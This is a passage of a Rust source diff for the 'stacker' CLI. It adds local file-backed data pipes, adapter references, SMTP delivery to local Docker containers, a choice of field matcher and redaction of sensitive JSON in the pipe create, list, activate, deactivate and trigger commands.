-        let template = ctx.block_on(ctx.client.create_pipe_template(&template_request))
+        let template = ctx
+            .block_on(ctx.client.create_pipe_template(&template_request))
             .map_err(|e| {
                 progress::finish_error(&pb, "Template creation failed");
                 e
             })?;
         progress::finish_success(&pb, "Template created");
 
-        // Step 8: Create instance linked to this deployment
         let instance_request = CreatePipeInstanceApiRequest {
             deployment_hash: hash.clone(),
-            source_container: self.source.clone(),
-            target_container: Some(self.target.clone()),
-            target_url: None,
+            source_adapter,
+            source_container: source_container_name.clone(),
+            target_adapter,
+            target_container: local_target_container_name.clone(),
+            target_url: target_url.clone(),
             template_id: Some(template.id.clone()),
             field_mapping_override: None,
             config_override: None,
         };
 
         let pb = progress::spinner("Creating pipe instance...");
-        let instance = ctx.block_on(ctx.client.create_pipe_instance(&instance_request))
+        let instance = ctx
+            .block_on(ctx.client.create_pipe_instance(&instance_request))
             .map_err(|e| {
                 progress::finish_error(&pb, "Instance creation failed");
                 e
@@ -654,18 +3625,35 @@ impl CallableTrait for PipeCreateCommand {
         progress::finish_success(&pb, "Pipe instance created");
 
         if self.json {
-            let output = serde_json::json!({
+            let mut output = serde_json::json!({
                 "template": template,
                 "instance": instance,
+                "local": false,
             });
+            redact_sensitive_json(&mut output);
             println!("{}", serde_json::to_string_pretty(&output)?);
         } else {
             println!("\n  ✓ Pipe '{}' created successfully", pipe_name);
             println!("  Template ID:  {}", template.id);
             println!("  Instance ID:  {}", instance.id);
-            println!("  Source:       {} ({})", self.source, src_path);
-            println!("  Target:       {} ({})", self.target, tgt_path);
-            println!("  Status:       {} (use 'stacker pipe activate {}' to start)", instance.status, instance.id);
+            let source_display = src_op
+                .adapter
+                .as_ref()
+                .map(|metadata| format!("{} adapter", metadata.code))
+                .unwrap_or_else(|| source_container_name.clone());
+            let target_display = tgt_op
+                .adapter
+                .as_ref()
+                .map(|metadata| format!("{} adapter", metadata.code))
+                .or_else(|| local_target_container_name.clone())
+                .or(target_url.clone())
+                .unwrap_or_else(|| self.target.clone());
+            println!("  Source:       {} ({})", source_display, src_path);
+            println!("  Target:       {} ({})", target_display, tgt_path);
+            println!(
+                "  Status:       {} (use 'stacker pipe activate {}' to start)",
+                instance.status, instance.id
+            );
             println!("  Mapping:      {}", serde_json::to_string(&field_mapping)?);
         }
 
@@ -690,16 +3678,82 @@ impl PipeListCommand {
 
 impl CallableTrait for PipeListCommand {
     fn call(&self) -> Result<(), Box<dyn std::error::Error>> {
+        let project_dir = std::env::current_dir().map_err(CliError::Io)?;
+        if let Some(deploy_ctx) = resolve_local_deployment_context(&self.deployment, &project_dir)?
+        {
+            let prefix = mode_prefix(&deploy_ctx);
+            let pb = progress::spinner(&format!("{}Fetching pipes...", prefix));
+            let store = LocalPipeStore::new(&project_dir);
+            let pipes = store.list().map_err(|e| {
+                progress::finish_error(&pb, "Failed to fetch local pipes");
+                e
+            })?;
+            progress::finish_success(&pb, &format!("{}{} pipe(s) found", prefix, pipes.len()));
+
+            if pipes.is_empty() {
+                println!("No pipes configured for this deployment.");
+                println!("Use 'stacker pipe create <source> <target>' to create a pipe.");
+                return Ok(());
+            }
+
+            if self.json {
+                let mut output = serde_json::to_value(&pipes)?;
+                redact_sensitive_json(&mut output);
+                println!("{}", serde_json::to_string_pretty(&output)?);
+                return Ok(());
+            }
+
+            println!(
+                "\n{:<38} {:<15} {:<15} {:<10} {:>8} {:>8} {}",
+                "ID", "SOURCE", "TARGET", "STATUS", "TRIGGERS", "ERRORS", "LAST TRIGGERED"
+            );
+            println!("{}", "─".repeat(120));
+
+            for pipe in &pipes {
+                let last = pipe
+                    .instance
+                    .last_triggered_at
+                    .as_deref()
+                    .unwrap_or("never");
+                let status_icon = match pipe.status.as_str() {
+                    "active" => "● active",
+                    "paused" => "◉ paused",
+                    "error" => "✗ error",
+                    _ => "○ draft",
+                };
+
+                println!(
+                    "{:<38} {:<15} {:<15} {:<10} {:>8} {:>8} {}",
+                    &pipe.id,
+                    truncate_str(pipe.source_display(), 14),
+                    truncate_str(pipe.target_display(), 14),
+                    status_icon,
+                    pipe.instance.trigger_count,
+                    pipe.instance.error_count,
+                    last,
+                );
+            }
+
+            println!("\n{} pipe(s) total.", pipes.len());
+            return Ok(());
+        }
+
         let ctx = CliRuntime::new("pipe list")?;
-        let hash = resolve_deployment_hash(&self.deployment, &ctx)?;
+        let deploy_ctx = resolve_deployment_context(&self.deployment, &ctx)?;
+        let prefix = mode_prefix(&deploy_ctx);
+        let hash = match &deploy_ctx {
+            DeploymentContext::Remote(hash) => hash,
+            DeploymentContext::Local => unreachable!("local mode handled above"),
+        };
 
-        let pb = progress::spinner("Fetching pipes...");
-        let pipes = ctx.block_on(ctx.client.list_pipe_instances(&hash))
+        let pb = progress::spinner(&format!("{}Fetching pipes...", prefix));
+        let pipes = ctx
+            .block_on(ctx.client.list_pipe_instances(hash))
             .map_err(|e| {
                 progress::finish_error(&pb, "Failed to fetch pipes");
                 e
             })?;
-        progress::finish_success(&pb, &format!("{} pipe(s) found", pipes.len()));
+        progress::finish_success(&pb, &format!("{}{} pipe(s) found", prefix, pipes.len()));
 
         if pipes.is_empty() {
             println!("No pipes configured for this deployment.");
@@ -708,11 +3762,12 @@ impl CallableTrait for PipeListCommand {
         }
 
         if self.json {
-            println!("{}", serde_json::to_string_pretty(&pipes)?);
+            let mut output = serde_json::to_value(&pipes)?;
+            redact_sensitive_json(&mut output);
+            println!("{}", serde_json::to_string_pretty(&output)?);
             return Ok(());
         }
 
-        // Table header
         println!(
             "\n{:<38} {:<15} {:<15} {:<10} {:>8} {:>8} {}",
             "ID", "SOURCE", "TARGET", "STATUS", "TRIGGERS", "ERRORS", "LAST TRIGGERED"
@@ -720,15 +3775,19 @@ impl CallableTrait for PipeListCommand {
         println!("{}", "─".repeat(120));
 
         for pipe in &pipes {
+            let source = pipe
+                .source_adapter
+                .as_ref()
+                .map(|adapter| adapter.code.as_str())
+                .unwrap_or(&pipe.source_container);
             let target = pipe
-                .target_container
-                .as_deref()
+                .target_adapter
+                .as_ref()
+                .map(|adapter| adapter.code.as_str())
+                .or(pipe.target_container.as_deref())
                 .or(pipe.target_url.as_deref())
                 .unwrap_or("-");
-            let last = pipe
-                .last_triggered_at
-                .as_deref()
-                .unwrap_or("never");
+            let last = pipe.last_triggered_at.as_deref().unwrap_or("never");
             let status_icon = match pipe.status.as_str() {
                 "active" => "● active",
                 "paused" => "◉ paused",
@@ -739,7 +3798,7 @@ impl CallableTrait for PipeListCommand {
             println!(
                 "{:<38} {:<15} {:<15} {:<10} {:>8} {:>8} {}",
                 &pipe.id,
-                truncate_str(&pipe.source_container, 14),
+                truncate_str(source, 14),
                 truncate_str(target, 14),
                 status_icon,
                 pipe.trigger_count,
@@ -761,102 +3820,410 @@ fn truncate_str(s: &str, max: usize) -> String {
     }
 }
 
-/// Common semantic aliases for field name matching.
-/// Maps target field name patterns to source field name patterns.
-const FIELD_ALIASES: &[(&[&str], &[&str])] = &[
-    (&["email", "user_email", "mail", "email_address"], &["email", "user_email", "mail", "email_address"]),
-    (&["name", "display_name", "full_name", "username"], &["name", "display_name", "full_name", "username"]),
-    (&["first_name", "fname", "given_name"], &["first_name", "fname", "given_name"]),
-    (&["last_name", "lname", "family_name", "surname"], &["last_name", "lname", "family_name", "surname"]),
-    (&["phone", "phone_number", "tel", "telephone"], &["phone", "phone_number", "tel", "telephone"]),
-    (&["address", "street", "street_address"], &["address", "street", "street_address"]),
-    (&["city", "town"], &["city", "town"]),
-    (&["country", "country_code"], &["country", "country_code"]),
-    (&["title", "subject", "heading"], &["title", "subject", "heading"]),
-    (&["body", "content", "text", "description", "message"], &["body", "content", "text", "description", "message"]),
-    (&["url", "link", "href", "website"], &["url", "link", "href", "website"]),
-    (&["id", "identifier"], &["id", "identifier"]),
-    (&["created_at", "created", "date_created"], &["created_at", "created", "date_created"]),
-    (&["updated_at", "updated", "date_updated", "modified"], &["updated_at", "updated", "date_updated", "modified"]),
-];
-
-/// Smart field matching: exact name → case-insensitive → semantic aliases → type-aware.
-fn smart_field_match(
-    src_fields: &[String],
-    tgt_fields: &[String],
-    source_sample: Option<&serde_json::Value>,
-) -> serde_json::Value {
-    let mut mapping = serde_json::Map::new();
-
-    for tgt_field in tgt_fields {
-        // 1. Exact name match
-        if src_fields.contains(tgt_field) {
-            mapping.insert(
-                tgt_field.clone(),
-                serde_json::Value::String(format!("$.{}", tgt_field)),
-            );
-            continue;
-        }
+fn pipe_template_matches_request(
+    existing: &CreatePipeTemplateApiRequest,
+    candidate: &PipeTemplateInfo,
+) -> bool {
+    candidate.description == existing.description
+        && candidate.source_app_type == existing.source_app_type
+        && candidate.source_endpoint == existing.source_endpoint
+        && candidate.target_app_type == existing.target_app_type
+        && candidate.target_endpoint == existing.target_endpoint
+        && candidate.target_external_url == existing.target_external_url
+        && candidate.field_mapping == existing.field_mapping
+        && candidate.config == existing.config
+        && candidate.is_public.unwrap_or(false) == existing.is_public.unwrap_or(false)
+}
 
-        // 2. Case-insensitive match
-        let tgt_lower = tgt_field.to_ascii_lowercase();
-        if let Some(src) = src_fields.iter().find(|s| s.to_ascii_lowercase() == tgt_lower) {
-            mapping.insert(
-                tgt_field.clone(),
-                serde_json::Value::String(format!("$.{}", src)),
-            );
-            continue;
+fn find_reusable_pipe_template(
+    templates: &[PipeTemplateInfo],
+    request: &CreatePipeTemplateApiRequest,
+) -> Result<Option<PipeTemplateInfo>, CliError> {
+    let Some(existing) = templates
+        .iter()
+        .find(|template| template.name == request.name)
+    else {
+        return Ok(None);
+    };
+
+    if pipe_template_matches_request(request, existing) {
+        Ok(Some(existing.clone()))
+    } else {
+        Err(CliError::ConfigValidation(format!(
+            "Remote pipe template '{}' already exists with a different definition. Rename the local pipe or update the remote template before deploying.",
+            request.name
+        )))
+    }
+}
+
+/// Select the appropriate field matcher based on CLI flags and stacker.yml config.
+///
+/// Priority:
+/// 1. `--ai` flag → AI matcher (error if AI not configured)
+/// 2. `--no-ai` flag → deterministic matcher
+/// 3. Neither flag → check `stacker.yml` ai.enabled; if true → AI, else → deterministic
+fn select_field_matcher(
+    force_ai: bool,
+    force_no_ai: bool,
+    force_ml: bool,
+) -> Box<dyn FieldMatcher> {
+    if force_ml {
+        return Box::new(crate::cli::ml_field_matcher::MlFieldMatcher::new());
+    }
+
+    if force_no_ai {
+        return Box::new(DeterministicFieldMatcher);
+    }
+
+    let use_ai = if force_ai {
+        true
+    } else {
+        // Try to read stacker.yml to check ai.enabled
+        let project_dir = std::env::current_dir().unwrap_or_default();
+        let config_path = project_dir.join("stacker.yml");
+        if config_path.exists() {
+            crate::cli::config_parser::StackerConfig::from_file(&config_path)
+                .map(|c| c.ai.enabled)
+                .unwrap_or(false)
+        } else {
+            false
         }
+    };
 
-        // 3. Semantic alias match
-        let mut found_alias = false;
-        for (group_a, group_b) in FIELD_ALIASES {
-            if group_a.iter().any(|a| a.eq_ignore_ascii_case(tgt_field)) {
-                // Target matches this alias group — find a source field in the same group
-                if let Some(src) = src_fields.iter().find(|sf| {
-                    group_b.iter().any(|b| b.eq_ignore_ascii_case(sf))
-                }) {
-                    mapping.insert(
-                        tgt_field.clone(),
-                        serde_json::Value::String(format!("$.{}", src)),
+    if use_ai {
+        // Try to create AI matcher; fall back to deterministic on failure
+        let project_dir = std::env::current_dir().unwrap_or_default();
+        let config_path = project_dir.join("stacker.yml");
+        let ai_config = config_path
+            .exists()
+            .then(|| {
+                crate::cli::config_parser::StackerConfig::from_file(&config_path)
+                    .ok()
+                    .map(|c| c.ai)
+            })
+            .flatten();
+
+        if let Some(config) = ai_config {
+            match crate::cli::ai_field_matcher::AiFieldMatcher::new(&config) {
+                Ok(matcher) => return Box::new(matcher),
+                Err(e) => {
+                    eprintln!(
+                        "  ⚠ AI matcher unavailable ({}), falling back to deterministic",
+                        e
                     );
-                    found_alias = true;
-                    break;
                 }
             }
+        } else if force_ai {
+            eprintln!(
+                "  ⚠ --ai flag set but no ai: config in stacker.yml, falling back to deterministic"
+            );
         }
-        if found_alias {
-            continue;
+    }
+
+    Box::new(DeterministicFieldMatcher)
+}
+
+fn example_local_trigger_command(pipe_id: &str) -> String {
+    format!(
+        "stacker pipe trigger {} --data '{}'",
+        pipe_id,
+        r#"{"email":"person@example.com","subject":"Local pipe test","message":"Hello from the local contact form"}"#
+    )
+}
+
+fn source_field_names(source_data: &serde_json::Value) -> Vec<String> {
+    source_data
+        .as_object()
+        .map(|object| object.keys().cloned().collect())
+        .unwrap_or_default()
+}
+
+fn lookup_json_path<'a>(
+    source_data: &'a serde_json::Value,
+    expression: &str,
+) -> Option<&'a serde_json::Value> {
+    if expression == "$" {
+        return Some(source_data);
+    }
+
+    let mut current = source_data;
+    for segment in expression.strip_prefix("$.")?.split('.') {
+        if segment.is_empty() {
+            return None;
         }
+        current = current.get(segment)?;
+    }
 
-        // 4. Type-aware match using sample data (if available)
-        if let Some(sample) = source_sample {
-            if let Some(obj) = sample.as_object() {
-                // Find a source field with the same JSON type that hasn't been mapped yet
-                let mapped_sources: Vec<&str> = mapping
-                    .values()
-                    .filter_map(|v| v.as_str())
-                    .filter_map(|s| s.strip_prefix("$."))
-                    .collect();
+    Some(current)
+}
 
-                // Try to match by suffix (e.g., target "user_id" matches source "author_id")
-                let tgt_suffix = tgt_field.rsplit('_').next().unwrap_or(tgt_field);
-                if let Some(src) = src_fields.iter().find(|sf| {
-                    !mapped_sources.contains(&sf.as_str())
-                        && sf.ends_with(tgt_suffix)
-                        && sf.as_str() != tgt_field.as_str()
-                        && obj.contains_key(sf.as_str())
-                }) {
-                    mapping.insert(
-                        tgt_field.clone(),
-                        serde_json::Value::String(format!("$.{}", src)),
-                    );
+fn apply_field_mapping(
+    source_data: &serde_json::Value,
+    mapping: &serde_json::Value,
+) -> serde_json::Value {
+    let mut output = serde_json::Map::new();
+
+    if let Some(mapping_object) = mapping.as_object() {
+        for (target_field, expression) in mapping_object {
+            if let Some(path) = expression.as_str() {
+                if let Some(value) = lookup_json_path(source_data, path) {
+                    output.insert(target_field.clone(), value.clone());
                 }
             }
         }
     }
 
-    serde_json::Value::Object(mapping)
+    serde_json::Value::Object(output)
+}
+
+fn infer_local_mapping(
+    pipe: &LocalPipeDocument,
+    source_data: &serde_json::Value,
+) -> Option<serde_json::Value> {
+    let source_fields = source_field_names(source_data);
+    if source_fields.is_empty() || pipe.target.fields.is_empty() {
+        return None;
+    }
+
+    let matcher = select_field_matcher(false, false, false);
+    let result = matcher.match_fields(&source_fields, &pipe.target.fields, Some(source_data));
+    let mapping = result.mapping.as_object()?;
+    if mapping.is_empty() {
+        return None;
+    }
+
+    Some(apply_field_mapping(source_data, &result.mapping))
+}
+
+fn apply_smtp_defaults(source_data: &serde_json::Value, payload: &mut serde_json::Value) {
+    let Some(source_object) = source_data.as_object() else {
+        return;
+    };
+    let Some(payload_object) = payload.as_object_mut() else {
+        return;
+    };
+
+    if !payload_object.contains_key("subject") {
+        if let Some(subject) = source_object.get("subject") {
+            payload_object.insert("subject".to_string(), subject.clone());
+        }
+    }
+
+    if !payload_object.contains_key("from_email") {
+        if let Some(email) = source_object.get("email") {
+            payload_object.insert("from_email".to_string(), email.clone());
+        }
+    }
+
+    if !payload_object.contains_key("reply_to_email") {
+        if let Some(email) = source_object.get("email") {
+            payload_object.insert("reply_to_email".to_string(), email.clone());
+        }
+    }
+
+    if !payload_object.contains_key("body_text") {
+        if let Some(message) = source_object.get("message") {
+            payload_object.insert("body_text".to_string(), message.clone());
+        }
+    }
+}
+
+fn build_local_trigger_payload(
+    pipe: &LocalPipeDocument,
+    source_data: &serde_json::Value,
+) -> serde_json::Value {
+    let mut payload = if pipe
+        .effective_field_mapping()
+        .as_object()
+        .map(|mapping| !mapping.is_empty())
+        .unwrap_or(false)
+    {
+        apply_field_mapping(source_data, pipe.effective_field_mapping())
+    } else {
+        infer_local_mapping(pipe, source_data).unwrap_or_else(|| source_data.clone())
+    };
+
+    if pipe
+        .instance
+        .target_adapter
+        .as_ref()
+        .map(|adapter| adapter.code == "smtp")
+        .unwrap_or(false)
+    {
+        apply_smtp_defaults(source_data, &mut payload);
+    }
+
+    payload
+}
+
+fn is_loopback_host(host: &str) -> bool {
+    matches!(host, "localhost" | "127.0.0.1" | "::1" | "[::1]")
+}
+
+fn local_target_aliases(container: &LocalContainerInfo) -> Vec<&str> {
+    let mut aliases = vec![container.name.as_str()];
+    if let Some(service) = container.labels.get("com.docker.compose.service") {
+        aliases.push(service.as_str());
+    }
+    aliases
+}
+
+fn matches_local_target_alias(container: &LocalContainerInfo, candidate: &str) -> bool {
+    let candidate = candidate.trim();
+    if candidate.is_empty() {
+        return false;
+    }
+    local_target_aliases(container).into_iter().any(|alias| {
+        alias.eq_ignore_ascii_case(candidate)
+            || alias
+                .to_ascii_lowercase()
+                .contains(&candidate.to_ascii_lowercase())
+    })
+}
+
+fn find_local_target_container(
+    pipe: &LocalPipeDocument,
+    configured_host: Option<&str>,
+) -> Result<Option<LocalContainerInfo>, CliError> {
+    let explicit_container = pipe
+        .instance
+        .target_container
+        .as_deref()
+        .or(pipe.target.container.as_deref());
+    let selector = pipe.target.selector.as_str();
+    let containers = discover_local_containers(None).map_err(|error| {
+        CliError::ConfigValidation(format!(
+            "Failed to inspect local Docker containers for pipe '{}': {}",
+            pipe.id, error
+        ))
+    })?;
+
+    Ok(containers.into_iter().find(|container| {
+        explicit_container
+            .map(|name| matches_local_target_alias(container, name))
+            .unwrap_or(false)
+            || matches_local_target_alias(container, selector)
+            || configured_host
+                .filter(|host| !is_loopback_host(host))
+                .map(|host| matches_local_target_alias(container, host))
+                .unwrap_or(false)
+    }))
+}
+
+fn remap_smtp_target_reference_for_container(
+    mut target_adapter: PipeAdapterReference,
+    target_selector: &str,
+    container: &LocalContainerInfo,
+) -> Result<PipeAdapterReference, CliError> {
+    let Some(config) = target_adapter
+        .config
+        .as_mut()
+        .and_then(|value| value.as_object_mut())
+    else {
+        return Ok(target_adapter);
+    };
+
+    let configured_host = config
+        .get("host")
+        .and_then(|value| value.as_str())
+        .map(str::to_string);
+    let configured_port = config
+        .get("port")
+        .and_then(|value| value.as_u64())
+        .and_then(|value| u16::try_from(value).ok())
+        .unwrap_or(587);
+
+    if let Some(binding) = container.ports.iter().find(|port| {
+        port.protocol == "tcp"
+            && (port.container_port == configured_port || port.host_port == Some(configured_port))
+    }) {
+        if let Some(host_port) = binding.host_port {
+            config.insert(
+                "host".to_string(),
+                serde_json::json!(docker_host_target(binding.host_ip.as_deref())),
+            );
+            config.insert("port".to_string(), serde_json::json!(host_port));
+            return Ok(target_adapter);
+        }
+    }
+
+    if configured_host
+        .as_deref()
+        .map(is_loopback_host)
+        .unwrap_or(false)
+    {
+        return Err(CliError::ConfigValidation(format!(
+            "Local SMTP target '{}' is configured for {}:{}, but the matching container '{}' does not publish that port to the host.\n\
+             Publish the SMTP port in Docker Compose / stacker.yml or recreate the pipe with a host-reachable endpoint.",
+            target_selector,
+            configured_host.unwrap_or_else(|| "localhost".to_string()),
+            configured_port,
+            container.name
+        )));
+    }
+
+    if let Some(address) = container.addresses.first() {
+        config.insert("host".to_string(), serde_json::json!(address));
+        return Ok(target_adapter);
+    }
+
+    Ok(target_adapter)
+}
+
+fn normalize_local_smtp_target_reference(
+    pipe: &LocalPipeDocument,
+    target_adapter: PipeAdapterReference,
+) -> Result<PipeAdapterReference, CliError> {
+    let configured_host = target_adapter
+        .config
+        .as_ref()
+        .and_then(|value| value.get("host"))
+        .and_then(|value| value.as_str())
+        .map(str::to_string);
+
+    let Some(container) = find_local_target_container(pipe, configured_host.as_deref())? else {
+        return Ok(target_adapter);
+    };
+
+    remap_smtp_target_reference_for_container(target_adapter, &pipe.target.selector, &container)
+}
+
+async fn run_local_target_adapter(
+    pipe: &LocalPipeDocument,
+    payload: serde_json::Value,
+) -> Result<serde_json::Value, CliError> {
+    let target_adapter = pipe.instance.target_adapter.clone().ok_or_else(|| {
+        CliError::ConfigValidation(format!(
+            "Local trigger requires a target adapter. Pipe '{}' does not have one.",
+            pipe.id
+        ))
+    })?;
+
+    match target_adapter.code.as_str() {
+        "smtp" => {
+            let resolved_adapter = normalize_local_smtp_target_reference(pipe, target_adapter)?;
+            let adapter = SmtpTargetAdapter::from_reference(resolved_adapter).map_err(|error| {
+                CliError::ConfigValidation(format!(
+                    "Invalid SMTP adapter configuration for local pipe '{}': {}",
+                    pipe.id, error
+                ))
+            })?;
+
+            adapter
+                .deliver(PipeAdapterPayload::Json(payload))
+                .await
+                .map_err(|error| {
+                    CliError::ConfigValidation(format!(
+                        "Local SMTP delivery failed for pipe '{}': {}",
+                        pipe.id, error
+                    ))
+                })
+        }
+        other => Err(CliError::ConfigValidation(format!(
+            "Local trigger currently supports only the smtp target adapter. Pipe '{}' targets '{}'.",
+            pipe.id, other
+        ))),
+    }
 }
 
 // ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
@@ -879,22 +4246,63 @@ impl PipeActivateCommand {
         json: bool,
         deployment: Option<String>,
     ) -> Self {
-        Self { pipe_id, trigger, poll_interval, json, deployment }
+        Self {
+            pipe_id,
+            trigger,
+            poll_interval,
+            json,
+            deployment,
+        }
     }
 }
 
 impl CallableTrait for PipeActivateCommand {
     fn call(&self) -> Result<(), Box<dyn std::error::Error>> {
+        let project_dir = std::env::current_dir().map_err(CliError::Io)?;
+        if let Some(deploy_ctx) = resolve_local_deployment_context(&self.deployment, &project_dir)?
+        {
+            let prefix = mode_prefix(&deploy_ctx);
+            let store = LocalPipeStore::new(&project_dir);
+            let mut pipe = store.resolve(&self.pipe_id)?;
+            pipe.set_status("active");
+            let local_path = store.save(&pipe)?;
+
+            if self.json {
+                let mut output = serde_json::json!({
+                    "local": true,
+                    "pipe": pipe,
+                    "file": local_path,
+                    "note": "Local activate marks the pipe active in .stacker/pipes. Use pipe trigger for one-shot execution."
+                });
+                redact_sensitive_json(&mut output);
+                println!("{}", serde_json::to_string_pretty(&output)?);
+                return Ok(());
+            }
+
+            println!("\n  {}✓ Local pipe '{}' marked active", prefix, pipe.id);
+            println!("  File: {}", local_path.display());
+            println!(
+                "  Note: local background listeners are not implemented yet for file-backed pipes."
+            );
+            println!("  Test now: {}", example_local_trigger_command(&pipe.id));
+            return Ok(());
+        }
+
         let ctx = CliRuntime::new("pipe activate")?;
         let hash = resolve_deployment_hash(&self.deployment, &ctx)?;
+        ensure_remote_pipe_command_capability(&ctx, &hash)?;
 
         // Fetch pipe instance details to get source/target info
         let pb = progress::spinner("Fetching pipe details...");
-        let pipe = ctx.block_on(ctx.client.get_pipe_instance(&self.pipe_id))
-            .map_err(|e| { progress::finish_error(&pb, "Failed"); e })?
-            .ok_or_else(|| CliError::ConfigValidation(
-                format!("Pipe instance '{}' not found", self.pipe_id),
-            ))?;
+        let pipe = ctx
+            .block_on(ctx.client.get_pipe_instance(&self.pipe_id))
+            .map_err(|e| {
+                progress::finish_error(&pb, "Failed");
+                e
+            })?
+            .ok_or_else(|| {
+                CliError::ConfigValidation(format!("Pipe instance '{}' not found", self.pipe_id))
+            })?;
         progress::finish_success(&pb, "Pipe found");
 
         // Get template info for endpoint details (if linked)
@@ -903,34 +4311,66 @@ impl CallableTrait for PipeActivateCommand {
                 let templates = ctx.block_on(ctx.client.list_pipe_templates(None, None))?;
                 if let Some(tmpl) = templates.iter().find(|t| &t.id == tid) {
                     (
-                        tmpl.source_endpoint["path"].as_str().unwrap_or("/").to_string(),
-                        tmpl.source_endpoint["method"].as_str().unwrap_or("GET").to_string(),
-                        tmpl.target_endpoint["path"].as_str().unwrap_or("/").to_string(),
-                        tmpl.target_endpoint["method"].as_str().unwrap_or("POST").to_string(),
-                        pipe.field_mapping_override.clone().unwrap_or(tmpl.field_mapping.clone()),
+                        tmpl.source_endpoint["path"]
+                            .as_str()
+                            .unwrap_or("/")
+                            .to_string(),
+                        tmpl.source_endpoint["method"]
+                            .as_str()
+                            .unwrap_or("GET")
+                            .to_string(),
+                        tmpl.target_endpoint["path"]
+                            .as_str()
+                            .unwrap_or("/")
+                            .to_string(),
+                        tmpl.target_endpoint["method"]
+                            .as_str()
+                            .unwrap_or("POST")
+                            .to_string(),
+                        pipe.field_mapping_override
+                            .clone()
+                            .unwrap_or(tmpl.field_mapping.clone()),
+                    )
+                } else {
+                    (
+                        "/".to_string(),
+                        "GET".to_string(),
+                        "/".to_string(),
+                        "POST".to_string(),
+                        serde_json::json!({}),
                     )
-                } else {
-                    ("/".to_string(), "GET".to_string(), "/".to_string(), "POST".to_string(), serde_json::json!({}))
                 }
             } else {
-                ("/".to_string(), "GET".to_string(), "/".to_string(), "POST".to_string(),
-                 pipe.field_mapping_override.clone().unwrap_or(serde_json::json!({})))
+                (
+                    "/".to_string(),
+                    "GET".to_string(),
+                    "/".to_string(),
+                    "POST".to_string(),
+                    pipe.field_mapping_override
+                        .clone()
+                        .unwrap_or(serde_json::json!({})),
+                )
             };
 
         // 1. Update status to "active" via API
         let pb = progress::spinner("Setting pipe status to active...");
         ctx.block_on(ctx.client.update_pipe_status(&self.pipe_id, "active"))
-            .map_err(|e| { progress::finish_error(&pb, "Status update failed"); e })?;
+            .map_err(|e| {
+                progress::finish_error(&pb, "Status update failed");
+                e
+            })?;
         progress::finish_success(&pb, "Status: active");
 
         // 2. Send activate_pipe command to agent
         let params = serde_json::json!({
             "pipe_instance_id": self.pipe_id,
-            "source_container": pipe.source_container,
+            "source_adapter": pipe.source_adapter.clone(),
+            "source_container": pipe.source_container.clone(),
             "source_endpoint": source_endpoint,
             "source_method": source_method,
-            "target_container": pipe.target_container,
-            "target_url": pipe.target_url,
+            "target_adapter": pipe.target_adapter.clone(),
+            "target_container": pipe.target_container.clone(),
+            "target_url": pipe.target_url.clone(),
             "target_endpoint": target_endpoint,
             "target_method": target_method,
             "field_mapping": field_mapping,
@@ -938,8 +4378,7 @@ impl CallableTrait for PipeActivateCommand {
             "poll_interval_secs": self.poll_interval,
         });
 
-        let request = AgentEnqueueRequest::new(&hash, "activate_pipe")
-            .with_raw_parameters(params);
+        let request = AgentEnqueueRequest::new(&hash, "activate_pipe").with_raw_parameters(params);
 
         let info = run_agent_command(
             &ctx,
@@ -974,19 +4413,52 @@ pub struct PipeDeactivateCommand {
 
 impl PipeDeactivateCommand {
     pub fn new(pipe_id: String, json: bool, deployment: Option<String>) -> Self {
-        Self { pipe_id, json, deployment }
+        Self {
+            pipe_id,
+            json,
+            deployment,
+        }
     }
 }
 
 impl CallableTrait for PipeDeactivateCommand {
     fn call(&self) -> Result<(), Box<dyn std::error::Error>> {
+        let project_dir = std::env::current_dir().map_err(CliError::Io)?;
+        if let Some(deploy_ctx) = resolve_local_deployment_context(&self.deployment, &project_dir)?
+        {
+            let prefix = mode_prefix(&deploy_ctx);
+            let store = LocalPipeStore::new(&project_dir);
+            let mut pipe = store.resolve(&self.pipe_id)?;
+            pipe.set_status("paused");
+            let local_path = store.save(&pipe)?;
+
+            if self.json {
+                let mut output = serde_json::json!({
+                    "local": true,
+                    "pipe": pipe,
+                    "file": local_path
+                });
+                redact_sensitive_json(&mut output);
+                println!("{}", serde_json::to_string_pretty(&output)?);
+                return Ok(());
+            }
+
+            println!("\n  {}✓ Local pipe '{}' paused", prefix, pipe.id);
+            println!("  File: {}", local_path.display());
+            return Ok(());
+        }
+
         let ctx = CliRuntime::new("pipe deactivate")?;
         let hash = resolve_deployment_hash(&self.deployment, &ctx)?;
+        ensure_remote_pipe_command_capability(&ctx, &hash)?;
 
         // 1. Update status to "paused" via API
         let pb = progress::spinner("Setting pipe status to paused...");
         ctx.block_on(ctx.client.update_pipe_status(&self.pipe_id, "paused"))
-            .map_err(|e| { progress::finish_error(&pb, "Status update failed"); e })?;
+            .map_err(|e| {
+                progress::finish_error(&pb, "Status update failed");
+                e
+            })?;
         progress::finish_success(&pb, "Status: paused");
 
         // 2. Send deactivate_pipe command to agent
@@ -994,8 +4466,8 @@ impl CallableTrait for PipeDeactivateCommand {
             "pipe_instance_id": self.pipe_id,
         });
 
-        let request = AgentEnqueueRequest::new(&hash, "deactivate_pipe")
-            .with_raw_parameters(params);
+        let request =
+            AgentEnqueueRequest::new(&hash, "deactivate_pipe").with_raw_parameters(params);
 
         let info = run_agent_command(
             &ctx,
@@ -1026,15 +4498,33 @@ pub struct PipeTriggerCommand {
 }
 
 impl PipeTriggerCommand {
-    pub fn new(pipe_id: String, data: Option<String>, json: bool, deployment: Option<String>) -> Self {
-        Self { pipe_id, data, json, deployment }
+    pub fn new(
+        pipe_id: String,
+        data: Option<String>,
+        json: bool,
+        deployment: Option<String>,
+    ) -> Self {
+        Self {
+            pipe_id,
+            data,
+            json,
+            deployment,
+        }
     }
 }
 
 impl CallableTrait for PipeTriggerCommand {
     fn call(&self) -> Result<(), Box<dyn std::error::Error>> {
-        let ctx = CliRuntime::new("pipe trigger")?;
-        let hash = resolve_deployment_hash(&self.deployment, &ctx)?;
+        let project_dir = std::env::current_dir().map_err(CliError::Io)?;
+        let deploy_ctx = if let Some(local_ctx) =
+            resolve_local_deployment_context(&self.deployment, &project_dir)?
+        {
+            local_ctx
+        } else {
+            let ctx = CliRuntime::new("pipe trigger")?;
+            resolve_deployment_context(&self.deployment, &ctx)?
+        };
+        let prefix = mode_prefix(&deploy_ctx);
 
         let input_data = match &self.data {
             Some(raw) => {
@@ -1045,20 +4535,83 @@ impl CallableTrait for PipeTriggerCommand {
             None => None,
         };
 
+        if deploy_ctx.is_local() {
+            let store = LocalPipeStore::new(&project_dir);
+            let mut pipe = store.resolve(&self.pipe_id)?;
+            let source_data = input_data.ok_or_else(|| {
+                CliError::ConfigValidation(format!(
